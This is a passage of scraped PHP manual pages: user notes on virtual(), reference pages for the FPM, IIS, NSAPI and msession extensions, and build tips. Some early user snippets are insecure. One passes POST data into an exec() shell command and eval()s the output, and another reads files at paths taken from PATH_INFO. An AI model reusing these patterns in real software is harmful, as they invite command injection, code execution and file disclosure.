$frequest_root  = dirname( $framework_root.substr( $_SERVER['PATH_INFO'], 1 )).'/';
$frequest_name  = basename( $_SERVER['PATH_INFO'] );
$frequest_ext   = (strrpos($frequest_name,'.')===FALSE ? FALSE : strtolower(substr( $frequest_name, ( strrpos( $frequest_name, '.' )+1 ) ) ) );
$frequest_full  = $frequest_root.$frequest_name;
$doc_frequest   = $docroot.$frequest_full;
$doc_framework   = $docroot.$framework_root;

$DO_PARSE = in_array( $frequest_ext, $chk_exts );
if( $DO_PARSE )
{
    $tmpfname = tempnam( $doc_framework.'tmp', 'aj_' ).($frequest_ext? ('.'.$frequest_ext) : '');
    if( ($to_parse=@file_get_contents($doc_frequest))===FALSE )
        $to_parse="404";
    $tmpvname = str_replace( $docroot, '', $tmpfname );
    $tmpvname = str_replace( '\\\\', '/', $tmpvname );
// - - - - - - - - - - - - - - - - - - - - - - - - - - -
//  Do processing of data stored in $to_parse
// - - - - - - - - - - - - - - - - - - - - - - - - - - -
    $to_parse = striptags( $to_parse );

// - - - - - - - - - - - - - - - - - - - - - - - - - - -
    $handle = fopen($tmpfname, "w");
    fwrite($handle, $to_parse);
    fclose($handle);
    @virtual( $tmpvname.$getvars );
    unlink( $tmpfname );
}
else
    @virtual( $frequest_full.$getvars );

?>

So all files in http://server/sub/pre.php/path/ are really located in http://server/sub/_pre/path/

All this needs is some kind of caching mechanism.

But yeah, this could be modified to add watermarks with the image functions, convert to xml with Tidy, check for extensions better with mimeTypes, proxy content with cURL, validate $_SERVER['HTTP_REFERER'] or $_SERVER['HTTP_USER_AGENT'], etc etc

This gives you much more over than the auto_prepend_file, and auto_append_file, for certain functionality

The key is the virtual function _because_ it delivers the modified content with an apache subrequest.
abentley at panoramicfeedback dot com 17-Jun-2003 07:29
Here's an update to tomwk's code:
function safe_virtual( $filename )
{
   $curDir = getcwd();
   virtual ( $filename );
   chdir( $curDir );
}

This is better if you've already changed your current directory to be something other than your script's directory.  It works for PHP4 and above.
php at n-wise dot com 03-Jan-2003 08:15
I saw the note above about the length of the query string... but didn't know what it was, so have altered the code so it can post to the script.
Probly only works on nix systems as it makes use of the echo function...
This code also will look evaluate the result, so you can get cgi to dynamically create PHP (probly best to watch out that posted variables do not include script!)
<?
$CGISCRIPT="./cgi-bin/cgiscript.cgi";
 // preparing the arguments passed to this PHP page
$QSTRING = $QUERY_STRING;

foreach ($HTTP_POST_VARS as $header=> $value ){
 if($QSTRING==""){
    $QSTRING = $header.'='.urlencode($value);
 }else{
    $QSTRING = $QSTRING.'&'.$header.'='.urlencode($value);
 }
}

putenv('REQUEST_METHOD=POST');
putenv('CONTENT_TYPE=application/x-www-form-urlencoded');
putenv('CONTENT_LENGTH='.strlen($QSTRING));
putenv('QUERY_STRING='.$QSTRING);
unset($return_array);
exec('echo "'.$QSTRING.'"| '.$CGISCRIPT, $return_array, $return_val);

//The 1st line of my script was "Content...." ... so remove it!
$firstline=array_shift($return_array);
//evaluate the code
eval('?>'.implode($return_array,''));

?>
chardin at ssc dot wisc dot edu 08-Nov-2002 12:00
If you are having problems using virtual include becuase of files being stored in different directories, a root-relative path will make things much easier:

virtual ("/root directory/directory/filename.htm/");

where root directory is the root directory of your site (ask your sys admin if you dont know what it is) Don't include the protocol or host name.

This will also allow you to move your files around your site without having to redirect your includes which is *very* helpfull
crazyted at crazyted dot com 10-Jan-2002 08:57
I have a header that's include()'ed on each of my pages. I then wanted to add a Perl script to that header file (header.php) via the virtual() command.

Since my header is used by documents in my /www folder along with other folders inside that (and inside those), and virtual() seems to take only relative paths, I had to write some code to dynamically get the path to the perl script.

Hope this helps some ppl out:

  $cwd = getcwd();
  $script_name = "cgi-bin/perl_script.pl";
  $count = substr_count($cwd, '/');
  $count = $count - 3;
  // get rid of extra absolute paths since my directory is /home/user/www

  // Add additional path information
  for($i = 1; $i <= $count; $i++){
    $script_name = "../".$script_name;
  }
  virtual($script_name);
s dot dan at free dot fr 31-Jul-2001 05:43
Another way of passing arguments:
If you have some CGI programs that depend on some libraries where you can't change the source code (in my case an online payment library), you can pass the arguments by changing some environment variables.

Of course the CGI program has to get the GET/POST variables in the usual manner.
It simulates, more or less, a direct call from the server to a CGI program:

// preparing the arguments passed to this PHP page
$QSTRING = $QUERY_STRING;

// pay attention to the maximum length of the QUERY string.
while (list ($header, $value) = each ($HTTP_POST_VARS)){
  if (empty($QSTRING))
    $QSTRING = $header.'='.$value;
 else
    $QSTRING = $QSTRING.'&'.$header.'='.$value;
}

putenv('REQUEST_METHOD=GET');
putenv('QUERY_STRING='.$QSTRING);

unset($return_array);
exec('my_CGI', $return_array, $return_val);

Now you can parse the output of 'my_CGI' in return_array.
logang at deltatee dot com 27-Apr-2001 04:21
If you want to pass all post and get values to the cgi script you can use this code:

<?php
$QSTRING = $QUERY_STRING;
while (list ($header, $value) = each ($HTTP_POST_VARS))
{
   $QSTRING = $QSTRING.'&'.$header.'='.$value;
}

virtual($script.'?'.$QSTRING);
?>

It takes all the values of $HTTP_POST_VARS and appends them in the proper format to the values you get in $QUERY_STRING
david at audiogalaxy dot com 29-Nov-1999 07:44
Virtual returns the HTTP entity header after the requested file, when it's the first output to the page.

The work-around to prevent seeing the header is, of course, to output something (such as echo " "; ) before calling virtual.


FastCGI Process Manager

  • Introduction
  • Installing/Configuring
  • FPM Functions
    • fastcgi_finish_request — Flushes all response data to the client

User Contributed Notes

There are no user contributed notes for this page.


Introduction

FPM (FastCGI Process Manager) is an alternative PHP FastCGI implementation with some additional features (mostly) useful for heavy-loaded sites.

This SAPI is bundled with PHP 5.3.3 and later.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Information on installing and configuring FPM can be found in the installation and configuration section of the PHP manual.

User Contributed Notes

There are no user contributed notes for this page.


FPM Functions

Table of Contents

  • fastcgi_finish_request — Flushes all response data to the client

User Contributed Notes

There are no user contributed notes for this page.


Flushes all response data to the client

  • « FPM Functions
  • IIS »
  • PHP Manual
  • FPM Functions
  • Flushes all response data to the client

fastcgi_finish_request

(PHP 5 >= 5.3.3)

fastcgi_finish_request — Flushes all response data to the client

Description

boolean fastcgi_finish_request ( void )

This function flushes all response data to the client and finishes the request. This allows for time consuming tasks to be performed without leaving the connection to the client open.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


IIS Administration

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • IIS Functions
    • iis_add_server — Creates a new virtual web server
    • iis_get_dir_security — Gets Directory Security
    • iis_get_script_map — Gets script mapping on a virtual directory for a specific extension
    • iis_get_server_by_comment — Return the instance number associated with the Comment
    • iis_get_server_by_path — Return the instance number associated with the Path
    • iis_get_server_rights — Gets server rights
    • iis_get_service_state — Returns the state for the service defined by ServiceId
    • iis_remove_server — Removes the virtual web server indicated by ServerInstance
    • iis_set_app_settings — Creates application scope for a virtual directory
    • iis_set_dir_security — Sets Directory Security
    • iis_set_script_map — Sets script mapping on a virtual directory
    • iis_set_server_rights — Sets server rights
    • iis_start_server — Starts the virtual web server
    • iis_start_service — Starts the service defined by ServiceId
    • iis_stop_server — Stops the virtual web server
    • iis_stop_service — Stops the service defined by ServiceId

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension is available for Win32 only. It provides functions to administrate Microsoft Internet Information Server (IIS). The extension includes function to create web sites and virtual directories as well as configuring security and script mapping.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/iisfunc.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

IIS_READ (integer)
IIS_WRITE (integer)
IIS_EXECUTE (integer)
IIS_SCRIPT (integer)
IIS_ANONYMOUS (integer)
IIS_BASIC (integer)
IIS_NTLM (integer)
IIS_STARTING (integer)
IIS_STOPPED (integer)
IIS_PAUSED (integer)
IIS_RUNNING (integer)

User Contributed Notes

There are no user contributed notes for this page.


IIS Functions

Table of Contents

  • iis_add_server — Creates a new virtual web server
  • iis_get_dir_security — Gets Directory Security
  • iis_get_script_map — Gets script mapping on a virtual directory for a specific extension
  • iis_get_server_by_comment — Return the instance number associated with the Comment
  • iis_get_server_by_path — Return the instance number associated with the Path
  • iis_get_server_rights — Gets server rights
  • iis_get_service_state — Returns the state for the service defined by ServiceId
  • iis_remove_server — Removes the virtual web server indicated by ServerInstance
  • iis_set_app_settings — Creates application scope for a virtual directory
  • iis_set_dir_security — Sets Directory Security
  • iis_set_script_map — Sets script mapping on a virtual directory
  • iis_set_server_rights — Sets server rights
  • iis_start_server — Starts the virtual web server
  • iis_start_service — Starts the service defined by ServiceId
  • iis_stop_server — Stops the virtual web server
  • iis_stop_service — Stops the service defined by ServiceId

User Contributed Notes

There are no user contributed notes for this page.


Creates a new virtual web server

  • « IIS Functions
  • iis_get_dir_security »
  • PHP Manual
  • IIS Functions
  • Creates a new virtual web server

iis_add_server

(PECL iisfunc SVN)

iis_add_server — Creates a new virtual web server

Description

int iis_add_server ( string $path , string $comment , string $server_ip , int $port , string $host_name , int $rights , int $start_server )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

Henning Buss 04-Mar-2007 09:27
I have testet some options for the rights.
I think you have to set a Number only with 1 or 0 to activate the options:

<write><only_scripts><script_and_executeables><unknow><read>

For example:
01001
Allows the Read and Script-Onlys Access to the Website.
vesa at flash-db dot com 18-Mar-2005 03:01
Remember that only MS 2000 Server/MS 2003 Server can add more than one "server" to IIS 6.0 (IIS < 6 and XP/2k PRO wont support that)

HTH,
Vesa


Gets Directory Security

  • « iis_add_server
  • iis_get_script_map »
  • PHP Manual
  • IIS Functions
  • Gets Directory Security

iis_get_dir_security

(PECL iisfunc SVN)

iis_get_dir_security — Gets Directory Security

Description

int iis_get_dir_security ( int $server_instance , string $virtual_path )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Gets script mapping on a virtual directory for a specific extension

  • « iis_get_dir_security
  • iis_get_server_by_comment »
  • PHP Manual
  • IIS Functions
  • Gets script mapping on a virtual directory for a specific extension

iis_get_script_map

(PECL iisfunc SVN)

iis_get_script_map — Gets script mapping on a virtual directory for a specific extension

Description

string iis_get_script_map ( int $server_instance , string $virtual_path , string $script_extension )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Return the instance number associated with the Comment

  • « iis_get_script_map
  • iis_get_server_by_path »
  • PHP Manual
  • IIS Functions
  • Return the instance number associated with the Comment

iis_get_server_by_comment

(PECL iisfunc SVN)

iis_get_server_by_comment — Return the instance number associated with the Comment

Description

int iis_get_server_by_comment ( string $comment )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Return the instance number associated with the Path

  • « iis_get_server_by_comment
  • iis_get_server_rights »
  • PHP Manual
  • IIS Functions
  • Return the instance number associated with the Path

iis_get_server_by_path

(PECL iisfunc SVN)

iis_get_server_by_path — Return the instance number associated with the Path

Description

int iis_get_server_by_path ( string $path )

Each virtual server in IIS is associated with an instance number. iis_get_server_by_path() finds the instance number from the actual path to the root directory.

Parameters

path

The path to the root directory

Return Values

Returns the server instance number.

User Contributed Notes

There are no user contributed notes for this page.


Gets server rights

  • « iis_get_server_by_path
  • iis_get_service_state »
  • PHP Manual
  • IIS Functions
  • Gets server rights

iis_get_server_rights

(PECL iisfunc SVN)

iis_get_server_rights — Gets server rights

Description

int iis_get_server_rights ( int $server_instance , string $virtual_path )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Returns the state for the service defined by ServiceId

  • « iis_get_server_rights
  • iis_remove_server »
  • PHP Manual
  • IIS Functions
  • Returns the state for the service defined by ServiceId

iis_get_service_state

(PECL iisfunc SVN)

iis_get_service_state — Returns the state for the service defined by ServiceId

Description

int iis_get_service_state ( string $service_id )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Removes the virtual web server indicated by ServerInstance

  • « iis_get_service_state
  • iis_set_app_settings »
  • PHP Manual
  • IIS Functions
  • Removes the virtual web server indicated by ServerInstance

iis_remove_server

(PECL iisfunc SVN)

iis_remove_server — Removes the virtual web server indicated by ServerInstance

Description

int iis_remove_server ( int $server_instance )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Creates application scope for a virtual directory

  • « iis_remove_server
  • iis_set_dir_security »
  • PHP Manual
  • IIS Functions
  • Creates application scope for a virtual directory

iis_set_app_settings

(PECL iisfunc SVN)

iis_set_app_settings — Creates application scope for a virtual directory

Description

int iis_set_app_settings ( int $server_instance , string $virtual_path , string $application_scope )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Sets Directory Security

  • « iis_set_app_settings
  • iis_set_script_map »
  • PHP Manual
  • IIS Functions
  • Sets Directory Security

iis_set_dir_security

(PECL iisfunc SVN)

iis_set_dir_security — Sets Directory Security

Description

int iis_set_dir_security ( int $server_instance , string $virtual_path , int $directory_flags )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Sets script mapping on a virtual directory

  • « iis_set_dir_security
  • iis_set_server_rights »
  • PHP Manual
  • IIS Functions
  • Sets script mapping on a virtual directory

iis_set_script_map

(PECL iisfunc SVN)

iis_set_script_map — Sets script mapping on a virtual directory

Description

int iis_set_script_map ( int $server_instance , string $virtual_path , string $script_extension , string $engine_path , int $allow_scripting )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Sets server rights

  • « iis_set_script_map
  • iis_start_server »
  • PHP Manual
  • IIS Functions
  • Sets server rights

iis_set_server_rights

(PECL iisfunc SVN)

iis_set_server_rights — Sets server rights

Description

int iis_set_server_rights ( int $server_instance , string $virtual_path , int $directory_flags )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Starts the virtual web server

  • « iis_set_server_rights
  • iis_start_service »
  • PHP Manual
  • IIS Functions
  • Starts the virtual web server

iis_start_server

(PECL iisfunc SVN)

iis_start_server — Starts the virtual web server

Description

int iis_start_server ( int $server_instance )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Starts the service defined by ServiceId

  • « iis_start_server
  • iis_stop_server »
  • PHP Manual
  • IIS Functions
  • Starts the service defined by ServiceId

iis_start_service

(PECL iisfunc SVN)

iis_start_service — Starts the service defined by ServiceId

Description

int iis_start_service ( string $service_id )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Stops the virtual web server

  • « iis_start_service
  • iis_stop_service »
  • PHP Manual
  • IIS Functions
  • Stops the virtual web server

iis_stop_server

(PECL iisfunc SVN)

iis_stop_server — Stops the virtual web server

Description

int iis_stop_server ( int $server_instance )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Stops the service defined by ServiceId

  • « iis_stop_server
  • NSAPI »
  • PHP Manual
  • IIS Functions
  • Stops the service defined by ServiceId

iis_stop_service

(PECL iisfunc SVN)

iis_stop_service — Stops the service defined by ServiceId

Description

int iis_stop_service ( string $service_id )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


NSAPI

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • NSAPI Functions
    • nsapi_request_headers — Fetch all HTTP request headers
    • nsapi_response_headers — Fetch all HTTP response headers
    • nsapi_virtual — Perform an NSAPI sub-request

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions are only available when running PHP as a NSAPI module in Netscape/iPlanet/Sun webservers.

User Contributed Notes

There are no user contributed notes for this page.


Installation

For PHP installation on Netscape/iPlanet/Sun webservers see the NSAPI section (UNIX, Windows) in the installation chapter.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of the NSAPI PHP module is affected by settings in php.ini. Configuration settings from php.ini may be overridden by additional parameters to the php4_execute call in obj.conf

NSAPI configuration options
Name | Default | Changeable | Changelog
nsapi.read_timeout | "60" | PHP_INI_ALL | Available since PHP 4.3.3.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

nsapi.read_timeout integer

Sets the time in seconds the plugin is waiting for POST data from the client.

User Contributed Notes

There are no user contributed notes for this page.


NSAPI Functions

See Also

NSAPI implements a subset of the functions from the Apache module for maximum compatibility.

Apache functions implemented by NSAPI
Apache function (only as alias) | NSAPI function | Description
apache_request_headers() | nsapi_request_headers() | Fetch all HTTP request headers
apache_response_headers() | nsapi_response_headers() | Fetch all HTTP response headers
getallheaders() | nsapi_request_headers() | Fetch all HTTP request headers
virtual() | nsapi_virtual() | Make NSAPI sub-request

Table of Contents

  • nsapi_request_headers — Fetch all HTTP request headers
  • nsapi_response_headers — Fetch all HTTP response headers
  • nsapi_virtual — Perform an NSAPI sub-request

User Contributed Notes

There are no user contributed notes for this page.


Fetch all HTTP request headers

  • « NSAPI Functions
  • nsapi_response_headers »
  • PHP Manual
  • NSAPI Functions
  • Fetch all HTTP request headers

nsapi_request_headers

(PHP 4 >= 4.3.3, PHP 5)

nsapi_request_headers — Fetch all HTTP request headers

Description

array nsapi_request_headers ( void )

nsapi_request_headers() gets all the HTTP headers in the current request. This is only supported when PHP runs as a NSAPI module.

Note:

Prior to PHP 4.3.3, getallheaders() was only available for the Apache servers. After PHP 4.3.3, getallheaders() is an alias for nsapi_request_headers() if you use the NSAPI module.

Note:

You can also get at the value of the common CGI variables by reading them from the $_SERVER superglobal, which works whether or not you are using PHP as a NSAPI module.

Return Values

Returns an associative array with all the HTTP headers.

Examples

Example #1 nsapi_request_headers() example

<?php
$headers = nsapi_request_headers();

foreach ($headers as $header => $value) {
  echo "$header: $value <br />\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Fetch all HTTP response headers

  • « nsapi_request_headers
  • nsapi_virtual »
  • PHP Manual
  • NSAPI Functions
  • Fetch all HTTP response headers

nsapi_response_headers

(PHP 4 >= 4.3.3, PHP 5)

nsapi_response_headers — Fetch all HTTP response headers

Description

array nsapi_response_headers ( void )

Gets all the NSAPI response headers.

Return Values

Returns an associative array with all the NSAPI response headers.

See Also

  • nsapi_request_headers() - Fetch all HTTP request headers
  • headers_sent() - Checks if or where headers have been sent

User Contributed Notes

There are no user contributed notes for this page.


Perform an NSAPI sub-request

  • « nsapi_response_headers
  • Session Extensions »
  • PHP Manual
  • NSAPI Functions
  • Perform an NSAPI sub-request

nsapi_virtual

(PHP 4 >= 4.3.3, PHP 5)

nsapi_virtual — Perform an NSAPI sub-request

Description

bool nsapi_virtual ( string $uri )

nsapi_virtual() is an NSAPI-specific function which is equivalent to <!--#include virtual...--> in SSI (.shtml files). It does an NSAPI sub-request. It is useful for including CGI scripts or .shtml files, or anything else that you'd parse through webserver.

To run the sub-request, all buffers are terminated and flushed to the browser, pending headers are sent too.

You cannot make recursive requests with this function to other PHP scripts. If you want to include PHP scripts, use include or require.

Note:

This function depends on a undocumented feature of the Netscape/iPlanet/Sun webservers. Use phpinfo() to determine if it is available. In the Unix environment it should always work, in Windows it depends on the name of a ns-httpdXX.dll file.

Read the note about subrequests in the NSAPI section (UNIX, Windows) if you experience this problem.

Parameters

uri

The URI of the script.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Session Extensions

  • Msession — Mohawk Software Session Handler Functions
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Msession Functions
  • Sessions — Session Handling
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Session Upload Progress
    • Sessions and security
    • Session Functions
    • SessionHandler — The SessionHandler class
    • SessionHandlerInterface — The SessionHandlerInterface class
  • Session PgSQL — PostgreSQL Session Save Handler
    • Introduction
    • Installing/Configuring
    • Table definitions
    • Predefined Constants
    • Session PgSQL Functions

User Contributed Notes

There are no user contributed notes for this page.


Mohawk Software Session Handler Functions

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Msession Functions
    • msession_connect — Connect to msession server
    • msession_count — Get session count
    • msession_create — Create a session
    • msession_destroy — Destroy a session
    • msession_disconnect — Close connection to msession server
    • msession_find — Find all sessions with name and value
    • msession_get_array — Get array of msession variables
    • msession_get_data — Get data session unstructured data
    • msession_get — Get value from session
    • msession_inc — Increment value in session
    • msession_list — List all sessions
    • msession_listvar — List sessions with variable
    • msession_lock — Lock a session
    • msession_plugin — Call an escape function within the msession personality plugin
    • msession_randstr — Get random string
    • msession_set_array — Set msession variables from an array
    • msession_set_data — Set data session unstructured data
    • msession_set — Set value in session
    • msession_timeout — Set/get session timeout
    • msession_uniq — Get unique id
    • msession_unlock — Unlock a session

User Contributed Notes

There are no user contributed notes for this page.


Introduction

msession is an interface to a high speed session daemon which can run either locally or remotely. It is designed to provide consistent session management for a PHP web farm. More Information about msession and the session server software itself can be found at » http://www.mohawksoft.org/?q=node/8.

Note: This extension is not available on Windows platforms.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.3.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/msession.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.3

User Contributed Notes

There are no user contributed notes for this page.


Msession Functions

Table of Contents

  • msession_connect — Connect to msession server
  • msession_count — Get session count
  • msession_create — Create a session
  • msession_destroy — Destroy a session
  • msession_disconnect — Close connection to msession server
  • msession_find — Find all sessions with name and value
  • msession_get_array — Get array of msession variables
  • msession_get_data — Get data session unstructured data
  • msession_get — Get value from session
  • msession_inc — Increment value in session
  • msession_list — List all sessions
  • msession_listvar — List sessions with variable
  • msession_lock — Lock a session
  • msession_plugin — Call an escape function within the msession personality plugin
  • msession_randstr — Get random string
  • msession_set_array — Set msession variables from an array
  • msession_set_data — Set data session unstructured data
  • msession_set — Set value in session
  • msession_timeout — Set/get session timeout
  • msession_uniq — Get unique id
  • msession_unlock — Unlock a session

User Contributed Notes

sunny at crazytoon dot com 24-May-2007 03:09
I went through and installed mcache and took notes about problems I ran in to.  I couldn't get it to work in 64 bit CentOS but it works in 32 bit CentOS.  If anybody got it working in 64 bit or wants to see what I have done, please feel free to visit my blog (i didn't want to spam post all the things here).   Here is the blog:  http://crazytoon.com/mcache
martijn at pocos dot nl 16-Aug-2005 01:42
Trying to build PHP 5.0.4. with msession support (shared), I found that the build process still fails to link the proper libraries. I think the proper way to fix this, is to change ext/msession/config.m4 and rebuild configure.

Find the line that reads:

PHP_ADD_LIBRARY_WITH_PATH(phoenix, "$PHOENIX_DIR/lib", PHOENIX_LIB)

And replace it with these two lines:

PHP_ADD_LIBRARY_WITH_PATH(phoenix, "$PHOENIX_DIR/lib", MSESSION_SHARED_LIBADD)
PHP_ADD_LIBRARY_WITH_PATH(stdc++, "", MSESSION_SHARED_LIBADD)

Next find the line that reads:

PHP_SUBST(PHOENIX_LIB)

and replace it with:

PHP_SUBST(MSESSION_SHARED_LIBADD)

Now rebuild "configure":

$ rm configure
$ ./buildconf --force

Now ./configure && make && make install as usual.
markw at mohawksoft dot com 13-Aug-2005 02:10
Hi all, I'm the author of the msession daemon. I haven't done any actual work on it in a couple years. Suddenly, I find myself needing it again. It's current state is almost certainly VERY different than you are used too, and it as been renamed to mcache (internally to Mohawk Software). I may ramp up work on it again.

In the course of the 5 years that msession being made available, I've gotten a lot of calls for support, and one bug fix. (And not a single donation BTW)

A decisions needs to be made if "mcache" will continue to be available.  I don't mind people using it, I don't mind that I've made no money on it (that's not why I wrote it), but the desperate "my server farm is down" calls because a working system died when the admin deployed changes with out adaquite testing are a huge distraction. In good conscience, I can't let the poor guy twist in the wind, but sometimes it takes hours to fix. Hours away from work that pays my bills or my family. Apache 2.0 with multiple threads really caused a lot of problems.

So, I guess what I'm saying is this: msession will become mcache (publically) some time in the future. On modern hardware it can handle about 5,000 ~10,000 session transactions a second (depending on the amount of data in the session, and the conectivity to the nodes, etc.) I may keep it on my server, but I can't support it for you without being paid up front. If you use it: learn it, know it, live it, and contribute if you can.
08-Aug-2005 02:29
I could not compile it on FreeBSD. On a 4.x msession complained about missing pthread library. On a 5.x, it was not happy with malloc.h. Ok, I could dig into that problem and find the problem. But I was not motivated...

I found that there is 1 100% PHP Solution for distributed session handling:
http://pear.php.net/package/HTTP_SessionServer/
sgaffga at electronicpartner dot de 14-Jul-2005 11:18
We wanted to use the default-PHP4-RPMs delivered with RedHat and SuSE, and use msession, too. But there is no package containing the precompiled msession-support for PHP. So I did this on my own and I found it very hard, so I'd like to provide the solution here.

The files php-msession-030117.tar.gz, phoenix-R1_2_030117E.tar.gz and msession-030130.tar.gz are
available at www.mohawksoft.com.

## Compiling the phoenix lib
tar xzf phoenix-R1_2_030117E.tar.gz
tar xzf msession-030130.tar.gz
cd phoenix/src/
cp Linux.mak config.mak
vi unixgcc.mak
(Now change "-I$(POSTGRES_HOME)/include" to "-I /usr/include/pgsql" which is needed to compile using SuSE 9.3)
make
mkdir ../lib
make install

## Compiling msession server
cd ..
cd msession
make
mkdir ../bin
make install

## Now untar PHP-Source and replace the files in ext/msession/ with the ones supplied by php-msession-030117.tar.gz
## Configure PHP and include --with-msession=shared,/path/to/phoenix-src-used-above
## Please note: Compile will fail if you use --disable-session or --disable-all
## For example use:
./configure --prefix=/usr/local --with-config-file-path=/etc --disable-all --enable-session --with-msession=shared,/home/sga/compile/phoenix

make

## Now there is a msession.so in modules/, but this one does NOT work yet.
## I had to repeat the libtool-command with "--mode=link gcc" and add some libs:
## before the last parameter I added:
## -lstdc++ -lodbc -L/home/sga/compile/phoenix/lib/ -lphoenix
## This was the command I used (you will have to use other paths of course)
/bin/sh /home/sga/compile/php-4.3.10/libtool --silent --preserve-dup-deps --mode=link gcc -DPHP_ATOM_INC -I/home/sga/compile/php-4.3.10/include -I/home/sga/compile/php-4.3.10/main -I/home/sga/compile/php-4.3.10 -I/home/sga/compile/php-4.3.10/Zend -I/home/sga/compile/php-4.3.10/ext/xml/expat  -I/home/sga/compile/php-4.3.10/TSRM  -g -O2   -o ext/msession/msession.la -export-dynamic -avoid-version -prefer-pic -module -rpath /home/sga/compile/php-4.3.10/modules  -lstdc++ -lodbc -L/home/sga/compile/phoenix/lib/ -lphoenix ext/msession/msession.lo

## Now I could do:

cp ext/msession/.libs/msession.so /usr/local/lib/php/extensions/no-debug-non-zts-20020429

## (Please note the different location I copy the module from)
## Adjust your php.ini to contain "extension=msession.so" and
## "extension_path =/usr/local/lib/php/extensions/no-debug-non-zts-20020429"

rcapache2 restart

## Now it worked fine! I hope this helps someone.
r_linux at yahoo dot com 13-Apr-2005 05:33
To compile with --with-msession, you have to make a change in Makefile to add -lstdc++. For me the LDFLAGS=-lstdc++ before ./configure don't work.

That modification works for me:
sed -e 's/^\(EXTRA_LIBS\)\(.*\)$/\1\2 -lstdc++/g' Makefile -i

I think that have some better way to do it.
temp6453 at hotmail dot com 10-Mar-2005 10:21
A company I work for uses msession for a large cluster of servers.  I've set it up rather regularly and never had an issue at all with it not working.

Msession is stable.  It does something simple- it maintains an efficient database of key->value (session->data) pairs and searches them well in a nice threaded manner.  There is no need for constant revision.  It is _NOT_ a large application.  It's security is simply IP-block-based, so such concerns are also minimal.

To the user that says it should be removed- if you are having problems installing it, seek assistance doing so.  The product itself is just right.
Weird Silence 01-Feb-2005 02:19
We've created a distributed session handler that uses memcached - Check it out at http://weirdsilence.net/software/memsession/ - It's free and open source!
It uses Danga.com's memcached: http://danga.com/memcached/ - Very cool stuff!
aderyngmailcom 07-Nov-2004 12:52
Compiling msession can be quite a pain. Believe me.

Here's how I did it on a gentoo-box with gcc version 3.3.4 (20040623 (Gentoo Linux 3.3.4-r1, ssp-3.3.2-2, pie-8.7.6)):

1. Download http://www.mohawksoft.com/devel/phoenix-R1_2_030117E.tar.gz and http://www.mohawksoft.com/devel/msession-030130.tar.gz
2. Extract them in /usr/local (That path is hardcoded, so you don't really have a choice since there isn't a configure script)
3. You should now the directory /usr/local/phoenix containing msession and src.
4. Enter the src-directory and rename Linux.mak to config.mak (or the corresponding file, if you're using another system. Don't use unixgcc.mak directly - it won't work.).
5. Type make
6. Type make install. You might have to create /usr/local/phoenix/lib yourself and then type make install again.
7. Change into the msession-directory and type make.

For both msession and phoenix you may have to edit the makefiles manually and comment out the postgreesql and odbc-code (if you don't have postgree installed).

8. Recompile php with --with-msession.

Voil�!
mathijs at experimental dot net 13-Sep-2002 06:02
msession 1.0 (020603) is using /dev/urandom.
a dot whyte at cqu dot edu dot au 09-May-2002 02:53
You can fix the no random data in FreeBSD's /dev/random by using rndcontrol (as root) and setting the interupts which it looks at for entropy.

Something like  rndcontrol -s 14 -s 15  should help it out.
carsten at sarum dot dk 07-May-2002 12:12
If you have trouble connecting to the msessiond from a php-script, this might be the solution for you.

msessiond (and your php-extension) both use the libphoenix.a which, among other files, is built from a file called "mutils.cpp".

Open this file, and find a line saying:

FILE *f = fopen("/dev/random", "rb");

(I believe it is line 506. There's only this one.)

On my FreeBSD 4.5 Tiny, /dev/random seldom spits out data, so the program hangs on the next line (an fread() call). Use /dev/urandom instead, it always sends data.

Change the line above to:

FILE *f = fopen("/dev/urandom", "rb");

Then rebuild phoenix-lib, msessiond, and PHP. You might want to do a "make clean" to be sure the change is noted.

- Carsten


Connect to msession server

  • « Msession Functions
  • msession_count »
